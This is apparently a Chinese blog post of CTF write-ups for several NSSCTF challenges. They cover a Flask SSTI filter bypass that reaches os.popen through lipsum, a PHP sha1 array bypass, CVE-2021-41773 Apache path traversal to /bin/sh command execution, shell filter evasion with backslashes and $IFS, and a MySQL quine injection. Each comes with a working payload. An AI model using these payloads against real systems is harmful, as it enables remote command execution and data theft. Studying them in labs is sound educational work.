NSSCTF第九页(1)

文章讲述了在Web开发中遇到的正常化安全漏洞(NormalSSTI)和Flask框架中的安全问题,涉及编码绕过、os模块利用、Quine注入技巧以及CVE-2021-41773漏洞利用。作者分享了解决这些问题的方法和相关教程链接。
摘要由CSDN通过智能技术生成

 [安洵杯 2020]Normal SSTI

 看到了一个东西

 访问之后

 进行简单的ssti注入发现被骂了......

这里过滤了双大括号,只能用{%%} 

这道题的考点

  • 没有{{情况下如何构造回显

  • 如何绕过字符串过滤

  • 过滤器的熟悉程度

看大佬的wp才知道这道题怎么做

因为.和[]被过滤,所以使用flask的|attr来调用方法

推荐去看nssctf这道题里的,这位大佬的wp——v2ish1yan的WriteUp

再给大家推荐两篇flask过滤绕过的文章

Flask-CSDN博客

flask的SSTI注入 - 先知社区

‘’|attr(“__class__”)等于

‘’.__class__

如果要使用xxx.os(‘xxx’)类似的方法,可以使用

xxx|attr(“os”)(‘xxx’)

使用flask里的lipsum方法,来执行命令

flask里的lipsum方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块

globals 使用方式是 函数名._globals_ 获取function所处空间下可使用的module、方法以及所有变量。

payload原型

lipsum|attr("__globals__").get("os").popen("ls").read()

  • attr("__globals__") 是获取当前作用域的全局变量的方式;
  • get("os") 是尝试获取全局变量中名为 os 的值;
  • popen("ls") 是在 os 模块中执行 ls 命令的方式;
  • read() 是读取 ls 命令的输出结果。

 把_globals_,__getitem__还有命令进行编码即可。

{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22)|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067%22)|attr(%22read%22)())%} 

[极客大挑战 2020]welcome

进到题目发现是一片空白,我还以为我走错了

先抓个包探探虚实,一堆东西没看到什么有用得,返回包有一个post,抓一下去访问

 给的提示,访问一下phpinfo()页面

1.In addition to the GET request method, there is another common request method...
2.Learn something about sha1 and array.
3.Check phpinfo more carefully and you will find where the flag is.

post 随便传一个,发现出来了源码

 就是一个sha1数组强比较,之前也做过,可以直接用数组绕过

发现进到了phpinfo网页,找flag

硬是被玩成了代码审计一样,访问这个文件

最后在消息头找到了flag

[NSSRound#4 SWPU]ez_rce

进去是一个这样的界面

没什么东西,抓个包看看,也是没什么东西,开扫

什么也没扫出来

看标签说是CVE-2021-41773

找了两篇博客供大家参考

https://www.cnblogs.com/wavesky/archive/2022/06/03/16339732.html

【安全漏洞】CVE-2021-41773和CVE-2021-42013漏洞分析 - 简书

 漏洞产生原因

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e通过url解码之后是一个点(.)对于路径的url解码之后再来判断是否存在../。

如果路径中存在%2e./形式,就会检测到,因为遍历第一个字符是%紧跟2个字符是十六进制那么会被转换成点,这样会和后面的./就会连成../,这样就会被拦截。但是出现.%2e/这种形式时,在遍历到第一个.字符时,此时检测到后面的两个字符是%2,那么就构造不成../而是.%2,就不会把它当作路径穿越符处理,也就是说在检测是否有路径穿越符之后,%2e再解码变成了点,最终.%2e/解码成了../。因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

下边就根据这个漏洞来完成这道题

先抓包,并改成post形式

传参: /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

%2e.的url编码,所以这一段其实就是/cgi-bin/../../../../bin/sh 

 echo;id ——>echo;xxx(这里其实就是命令执行)

 

cat一下发现没有

 再看一下,发现是还有文件夹

这里我们用grep来进行过滤来读flag 

 grep文本过滤_grep 过滤-CSDN博客


echo;grep -r "NSS" /flag_is_here   得到flag

 [MoeCTF 2021]babyRCE

代码审计,发现该过滤的都过滤了

就是简单的过滤,有很多种方法,这里我只列举一种

 ls可以用l\s来绕过

cat可以用ca\t来绕过

flag可以用fl\ag来绕过

空格可以用$IFS来绕过

反斜杠称为转义字符,也就是说去掉”\”后面字符本来的含义,只做字符使用

先看根目录 ?rce=l\s$IFS/

发现没有flag,大概率是在var/www/html里边

进去找一下,发现了flag.php

?rce=c\at$IFS/var/www/html/fl\ag.php 

 得到flag

[NISACTF 2022]hardsql 

 直接上万能语句发现

在结合他的标签说是quine注入,并且过滤了空格 用/**/代替 

关于quine注入的详细介绍

SQL注入之Quine注入-CSDN博客 

Quine-[第五空间 2021]yet_another_mysql_injection-CSDN博客

解释:实质上就是返回的值和输入值相同,对于这种输出自己的源代码的程序有一个名称,Qunie

首先先了解一下replace()函数

replace(object,search,replace)

把object对象中出现的的search全部替换成replace,然后返回替换后的结果

object里面编码不会被替换

即:

REPLACE("REPLACE("B",char(66),"B")",char(66),"REPLACE("B",char(66),"B")")

 

进行注入:

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#',char(34),char(39)),char(66),'"/**/union/**/select/**/replace(replace("B",char(34),char(39)),char(66),"B")#')#

说是有防火墙

 

猜测是char被过滤

char 和chr等价

  chapt的解释:

“char” 和 “chr” 是在不同编程语言中表示字符类型或字符操作的关键字。

  1. 在 C/C++ 中,“char” 是表示字符类型的关键词,用于声明和定义字符变量或字符数组。它可以存储单个字符,范围通常是 0 到 255(或 -128 到 127,取决于有符号或无符号
  2. 在 Python 中,“chr” 是一个内置函数,用于将 Unicode 编码转换为对应的字符。它接受一个整数参数,返回对应的字符。例如,

虽然在不同编程语言中的关键词和函数名称可能不同,但它们的作用是相似的,都与字符操作相关。需要根据具体的编程语言来使用相应的关键词或函数。

 

也可以进行16进制转换

char(34) ---> 0x22

char(39) --> 0x27

'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("B",char(34),chr(39)),chr(66),"B")#',chr(34),char(39)),chr(66),'"/**/union/**/select/**/replace(replace("B",chr(34),chr(39)),chr(66),"B")#')#

sql差的还是太多了,预计从11月份重新学一下

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值